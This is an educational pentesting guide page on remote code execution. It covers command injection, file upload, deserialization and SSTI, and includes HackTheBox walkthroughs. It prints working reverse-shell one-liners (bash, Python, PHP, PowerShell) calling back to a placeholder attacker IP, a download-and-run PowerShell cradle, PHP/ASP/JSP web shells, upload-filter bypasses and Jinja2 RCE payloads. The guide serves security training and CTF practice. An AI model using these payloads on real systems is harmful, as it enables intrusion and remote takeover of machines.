Skip to content

Latest commit

 

History

History
722 lines (554 loc) · 24.2 KB

File metadata and controls

722 lines (554 loc) · 24.2 KB

Remote Code Execution — From Access to Execution

Finding a vulnerability is the discovery. Getting code to run on a system you do not own — without sitting in front of it, without an account, sometimes without any credentials at all — that is Remote Code Execution. It is the moment a vulnerability stops being theoretical. Everything before this was reconnaissance. This is the objective. If you get overwhelmed or feel stuck, that's okay. Check the analogies, and the "Here is where we are" section. Take your time, go through the steps, research, look at write-ups.


🔰 Beginners: Every term in this section gets explained before it is used. Work through it in order and the worked examples at the bottom will make complete sense.

Seasoned practitioners: Jump to the Real Worked Examples for the workflow reference.

Here is where we are:

  • The exploit is how you break in — the SQL injection, the buffer overflow, the file upload bypass, the SSTI. That is the mechanism.

  • The payload is what you send to cause something to happen — the reverse shell one-liner, the shellcode, the malicious serialized object. That is the content.

  • RCE is what you have achieved when the payload executes on the remote system. It is the capability — the fact that you can now run commands on a machine you do not own.

     Example: Target - Apache 2.4.49
    
     Exploit  → CVE-2021-41773 path traversal vulnerability
     you send a crafted URL that bypasses access controls
    
     Payload  → bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
     the reverse shell command you want the server to execute
    
     RCE      → the server runs your payload you get a shell back on your listener that capability is Remote Code Execution
    

📋 Contents


🧠 What Is Remote Code Execution — Plain English

Remote Code Execution — RCE for short — means making a computer run code that you wrote, from somewhere else, without physical access to that machine.

The word "remote" means you are not sitting at the machine. You are somewhere else — across a network, across the internet, in a different country — and the machine is executing instructions you sent to it.

The word "code" means any instruction the computer can execute — a command, a script, a program. It could be as simple as whoami to confirm who you are running as, or as complex as a full reverse shell that gives you an interactive command prompt.

The everyday analogy:

Think of a vending machine. You put in money, press a button, and the machine does something — drops your snack. The machine is the server. The button is the input the developer expected. RCE is when you figure out that pressing a specific combination of buttons in a specific order makes the machine open its own door instead of dropping a snack.

You did not break the machine. You found an input combination the manufacturer never intended — and the machine responded to it.


🎯 Why RCE Is the Goal

In penetration testing and security research, RCE is typically the most critical finding possible. Here is why it matters more than other vulnerabilities:

Information disclosure  → you can read things you should not
SQL injection           → you can read and modify database data
XSS                     → you can affect other users' browsers
RCE                     → you control the machine itself

With RCE you are not limited to what the application exposes. You have access to everything the server has access to — files, other services running internally, network connections to other systems, credentials stored on disk. RCE is the vulnerability class that ends conversations about "how bad is this really?"

The answer is: as bad as it gets.


🗺️ How RCE Happens — The Paths In

RCE is not one vulnerability — it is an outcome that can be reached through many different paths. Understanding the paths helps you recognize which one applies to your target.

Path 1 → Command Injection
         Application passes user input directly to an OS command
         You inject additional commands alongside it

Path 2 → File Upload
         Application accepts file uploads without proper restriction
         You upload a file containing executable code

Path 3 → Deserialization
         Application converts stored data back into objects unsafely
         You craft malicious data that executes code during conversion

Path 4 → Server-Side Template Injection (SSTI)
         Application uses templates to generate pages dynamically
         You inject template syntax that the engine executes

Path 5 → Known CVE
         A specific vulnerability in a specific software version
         A public exploit exists and you run it
         (covered in Vuln Research and Exploit Categories)

Path 6 → Chained vulnerabilities
         No single vulnerability gives RCE
         You combine two or more lower-severity issues to reach it

⚡ Command Injection — The Simplest RCE

Plain English: Some web applications need to run operating system commands to do their job. A network diagnostic tool might run ping. A file processing tool might run convert. A system monitor might run ps to list processes.

When an application takes user input and includes it directly in one of these OS commands without checking it — you can inject your own commands alongside the legitimate one.

The analogy: Imagine you are ordering coffee at a drive-through by typing your name into a screen that prints it on your cup. The staff then reads the cup and makes your drink. Command injection is typing your name as "John; also make me a sandwich" — and the kitchen follows both instructions.

Detecting Command Injection

# Test characters that chain commands in Linux/macOS
;           # run the next command regardless
&&          # run the next command only if the first succeeded
||          # run the next command only if the first failed
|           # pipe output of first command to second
`command`   # backtick executes command and substitutes output
$(command)  # same as backtick but more readable

# Test characters that work in Windows
&           # run both commands
&&          # run second only if first succeeded
|           # pipe

Testing in a web form that runs ping:

# Normal input
127.0.0.1

# Injected input — Linux
127.0.0.1; whoami
127.0.0.1 && id
127.0.0.1 | cat /etc/passwd
127.0.0.1 `id`
127.0.0.1; ls -la

# Injected input — Windows
127.0.0.1 & whoami
127.0.0.1 && dir
127.0.0.1 | ipconfig

If whoami or id output appears in the page response — command injection is confirmed and you have RCE.

Getting a Shell via Command Injection

Once command injection is confirmed, the next step is getting a proper interactive shell. One-liner reverse shells are covered in full depth in the Shells section.

# Set up your listener first
nc -lvnp 4444

# Basic bash reverse shell (inject this as the command)
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

# URL encoded version for web forms
bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Windows PowerShell reverse shell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"

📁 RCE via File Upload

Plain English: Many web applications let you upload files — profile pictures, documents, attachments. The server stores those files and often makes them accessible through a URL.

The vulnerability happens when the application accepts files it should not — specifically files containing executable code — and stores them somewhere the web server can execute them.

The most common example: A PHP web shell. PHP is a server-side scripting language that web servers execute when a .php file is requested. If you can upload a .php file and then request it through a browser, the server executes whatever PHP code is in that file.

The Simplest PHP Web Shell

<?php system($_GET["cmd"]); ?>

Breaking this down plain English:

  • system() — runs an operating system command
  • $_GET["cmd"] — takes whatever value is in the URL parameter named cmd
  • Together: whatever you put in ?cmd= in the URL gets executed on the server

Save this as shell.php, upload it, then access:

http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd

Bypassing Upload Restrictions

Most applications try to restrict what files can be uploaded. Here are the common restrictions and how they get bypassed:

Client-side validation — weakest protection:

The check happens in your browser before uploading
Bypass: intercept with Burp Suite and change the filename after
        the browser check but before the server receives it

MIME type checking:

The server checks the Content-Type header of the upload
Bypass: intercept with Burp Suite and change Content-Type to
        image/jpeg while keeping the .php extension and content

Extension blacklisting:

The server blocks .php files specifically
Bypass options:
  .php3, .php4, .php5, .phtml, .phar    ← alternative PHP extensions
  .PHP (uppercase)                        ← case sensitivity bypass
  shell.php.jpg                           ← double extension
  shell.php%00.jpg                        ← null byte (older servers)

Extension whitelisting — stronger protection:

The server only allows specific extensions like .jpg or .png
Bypass options:
  Find a directory where the server executes all file types
  Upload a .jpg containing PHP code and find another vulnerability
  to execute it (LFI chain — covered in the LFI section)

Content checking — strongest protection:

The server reads the file content and verifies it looks like an image
Bypass: add a valid image header before your PHP code
  ÿØÿÛ<?php system($_GET["cmd"]); ?>
  The file starts with valid JPEG bytes — passes content check
  PHP code follows — still executes if server is misconfigured

Web Shells Beyond PHP

<!-- ASP web shell — old IIS servers -->
<% eval request("cmd") %>

<!-- ASPX web shell — modern IIS -->
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start("cmd.exe",
   "/c " + Request["cmd"]).StandardOutput.ReadToEnd()); %>
<!-- JSP web shell — Java servers (Tomcat, JBoss) -->
<%
  String cmd = request.getParameter("cmd");
  Runtime rt = Runtime.getRuntime();
  Process proc = rt.exec(cmd);
%>

🔄 RCE via Deserialization

Plain English: Serialization is how applications save complex data — like a user session or a shopping cart — into a format that can be stored or transmitted. Imagine taking a detailed LEGO model apart according to the instruction booklet and writing down every step so you can rebuild it later. The written instructions are the serialized form.

Deserialization is rebuilding the LEGO model from those instructions.

The vulnerability happens when an application deserializes data from an untrusted source — like a cookie or a POST parameter — without checking it first. If an attacker can craft their own "instructions" (serialized data), they can make the application "build" something it was never supposed to — including code execution.

Why this is dangerous: The code executes during the deserialization process itself, before the application has a chance to validate anything. By the time the application knows something is wrong, the code has already run.

Identifying Deserialization Vulnerabilities

Java serialization:
→ Look for base64 encoded data starting with rO0AB
→ Or raw bytes starting with \xac\xed\x00\x05
→ Common in Java web applications, especially older ones

PHP serialization:
→ Look for strings starting with O: or a: in cookies or parameters
→ Example: O:8:"UserData":1:{s:4:"name";s:5:"admin";}

Python pickle:
→ Look for binary data in cookies or API parameters
→ Flask sessions use base64 encoded pickle data

Tools for Deserialization Exploitation

# ysoserial — Java deserialization payload generator
# Download from: https://github.com/frohoff/ysoserial

# Generate a payload that runs a command
java -jar ysoserial.jar CommonsCollections6 'whoami' | base64

# Generate a reverse shell payload
java -jar ysoserial.jar CommonsCollections6 \
  'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | base64

# PHPGGC — PHP deserialization payload generator
# https://github.com/ambionics/phpggc
phpggc Laravel/RCE1 system whoami

🔧 RCE via Server-Side Template Injection (SSTI)

Plain English: Web applications often use templates to generate pages dynamically. A template is like a form letter — it has fixed text with blank spaces where dynamic content gets inserted. The template engine fills in those blanks when generating the page.

Hello, {{username}}! becomes Hello, Alice! when the username is Alice.

SSTI happens when user input ends up inside the template itself — not just in a blank space being filled, but in the template code. Template engines are designed to evaluate expressions — that is their job. When your input becomes part of the template, the engine evaluates it just like any other template expression.

Different template engines have different syntax:

Jinja2 (Python/Flask):    {{ 7*7 }}     → 49
Twig (PHP):               {{ 7*7 }}     → 49
Freemarker (Java):        ${7*7}        → 49
Smarty (PHP):             {7*7}         → 49
Velocity (Java):          #set($x=7*7)  → 49

Detecting SSTI

# Test by injecting mathematical expressions
# If the result is evaluated — SSTI is confirmed

# In any input field, URL parameter, or header:
{{7*7}}          ← should return 49 if Jinja2/Twig
${7*7}           ← should return 49 if Freemarker
#{7*7}           ← should return 49 if Ruby ERB
<%= 7*7 %>       ← should return 49 if ERB

# If the page shows 49 instead of {{7*7}} — SSTI confirmed

Exploiting SSTI for RCE

# Jinja2 (Python/Flask) — RCE payload
# This chains Python class introspection to reach os.popen

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

# Simpler Jinja2 payload
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP) — RCE payload
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Tool: tplmap — automated SSTI detection and exploitation

# Install
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip3 install -r requirements.txt

# Scan for SSTI
python3 tplmap.py -u 'http://target.com/page?name=test'

# Get a shell
python3 tplmap.py -u 'http://target.com/page?name=test' --os-shell

🔄 RCE via Known CVEs

Plain English: Some software versions have documented, publicly known vulnerabilities that lead directly to RCE. You do not need to find or understand the vulnerability yourself — you need to confirm the version, find the exploit, and run it.

This is the most common RCE path in CTF environments and still common in real engagements against unpatched systems.

# The workflow — covered in full in Vuln Research
# Step 1 — identify version with nmap
nmap -sV target

# Step 2 — search for RCE exploits
searchsploit "software name" "version" rce
searchsploit "software name" "version" "remote code execution"

# Step 3 — check Exploit-DB
# exploit-db.com → search → filter Type: Remote

# Step 4 — run the exploit
# See Manual Exploitation section for the full workflow

🐚 Turning RCE Into a Shell

Confirming RCE through command output in a web page is the start, not the end. A proper interactive shell is the goal.

Why a shell over just command output:

  • Command output in a page is one command at a time
  • A shell lets you navigate, chain commands, and work interactively
  • A shell survives if the web application reloads
  • A shell can be upgraded to a full TTY (fully interactive terminal)

The standard path:

# Step 1 — start your listener
nc -lvnp 4444

# Step 2 — inject a reverse shell one-liner
# Choose based on what is available on the target

# Bash (Linux — most common)
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP (when RCE is through a PHP vulnerability)
php -r '$sock=fsockopen("YOUR-IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('YOUR-IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Full shell upgrading and stabilization is covered in Shells — the most important section in this guide.


✅ Confirming and Stabilizing Execution

Before going further, confirm exactly what you have:

# Who are you running as?
whoami
id

# What machine is this?
hostname
uname -a          # Linux
systeminfo        # Windows

# What network does this machine sit on?
ip addr           # Linux
ipconfig          # Windows

# What other services are running locally?
# (things not visible from outside)
ss -tlnp          # Linux — listening ports
netstat -an       # Windows — listening ports

# Are there other users?
cat /etc/passwd   # Linux
net user          # Windows

🔬 Advanced RCE Concepts

Blind RCE

Plain English: Sometimes you have command execution but you cannot see the output. The command runs on the server but the result never appears in the page response. This is called blind RCE — you know something is happening but you cannot see what.

How to confirm blind RCE:

# Make the server ping you — watch tcpdump for the incoming ping
# On your machine:
tcpdump -i tun0 icmp

# Inject this command on the target:
ping -c 1 YOUR-IP

# If you see the ping arrive in tcpdump — blind RCE confirmed

# Use time delays to confirm (like time-based SQLi)
sleep 5           # Linux — page should take 5 seconds longer
ping -n 5 127.0.0.1  # Windows equivalent delay

Extracting output from blind RCE:

# Option 1 — out-of-band via DNS
# Make the server do a DNS lookup containing command output
# Requires a domain you control (Burp Collaborator, interactsh)
curl "http://$(whoami).YOUR-DOMAIN.com"

# Option 2 — write output to a web-accessible file
whoami > /var/www/html/output.txt
# Then read it at: http://target.com/output.txt

# Option 3 — get a reverse shell
# Blind RCE can still execute reverse shells
# You just cannot see the command output — the shell callback shows it

RCE Chaining

Plain English: Many real-world RCE vulnerabilities are not a single flaw — they are two or more lower-severity issues combined. Neither one alone gives code execution. Together they do.

Common chains:

LFI + Log Poisoning → RCE
  Step 1: Write PHP code into a server log via LFI
  Step 2: Include the log file via LFI to execute the code

SSRF + Internal Service → RCE
  Step 1: Use SSRF to reach an internal service not exposed externally
  Step 2: Exploit that internal service for RCE

File Upload + Path Traversal → RCE
  Step 1: Upload a file to a non-executable directory
  Step 2: Use path traversal to move it to an executable location

💥 Real Worked Examples

Example 1 — Command Injection (HackTheBox: Networked)

Scenario: A web application that accepts file uploads and runs a command on uploaded files without sanitizing the filename.

# Step 1 — identify the injection point
# Upload a file and observe what happens
# The application runs: file -mime [filename]

# Step 2 — craft a malicious filename
# Create a file with a command-injecting name
touch 'test.php;whoami'

# Step 3 — upload and observe
# If whoami output appears — command injection confirmed

# Step 4 — get a reverse shell
# Start listener
nc -lvnp 4444

# Craft reverse shell filename
touch "shell.php; bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 #.php"

# Upload and trigger

Example 2 — SSTI to RCE (HackTheBox: Bolt)

Scenario: A Flask web application with a template injection vulnerability in the username field.

# Step 1 — detect SSTI
# Enter {{7*7}} in the username field
# If the profile page shows 49 — SSTI confirmed

# Step 2 — confirm code execution
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Step 3 — get a reverse shell
# Start listener
nc -lvnp 4444

# Inject reverse shell via SSTI
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/YOUR-IP/4444 0>&1').read()}}

Example 3 — File Upload to RCE (HackTheBox: Upload)

Scenario: A web application allows image uploads but checks file extension and MIME type.

# Step 1 — create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Step 2 — attempt direct upload — blocked
# "Only image files allowed"

# Step 3 — bypass with double extension
mv shell.php shell.php.jpg
# Upload — may succeed depending on server config

# Step 4 — bypass with Burp Suite
# Upload a real image
# Intercept with Burp
# Change filename from image.jpg to shell.php
# Change Content-Type from image/jpeg to image/jpeg (keep it)
# Forward the request

# Step 5 — access the shell
curl "http://target.com/uploads/shell.php?cmd=id"

# Step 6 — get a reverse shell
nc -lvnp 4444
curl "http://target.com/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"

Practice targets:

  • HackTheBox — Networked (command injection)
  • HackTheBox — Bolt (SSTI)
  • HackTheBox — Upload (file upload)
  • HackTheBox — Bashed (command injection via web shell)
  • DVWA — Command Injection module (beginner)
  • PentesterLab — Code Execution exercises

⚔️ CTF vs Real World

CTF Real Engagement
Finding RCE Usually the intended path Requires thorough testing
Output visible Usually yes Often blind — need OOB techniques
WAF present Rarely Almost always
Shell stability Less critical Essential — do not lose access
Cleanup Not required Remove all artifacts
Chaining needed Sometimes Common — single vulns rarely give RCE
Documentation Notes Full evidence including screenshots

🔗 Related References

Resource What It Covers
LFI/RFI File inclusion chains to RCE
SSRF Server-side request forgery chains to RCE
Manual Exploitation Running RCE exploits manually
Shells Turning RCE into a proper shell
Evasion Bypassing WAF on RCE attempts
Vuln Research Finding RCE CVEs

by SudoChef · Part of the SudoCode Pentesting Methodology Guide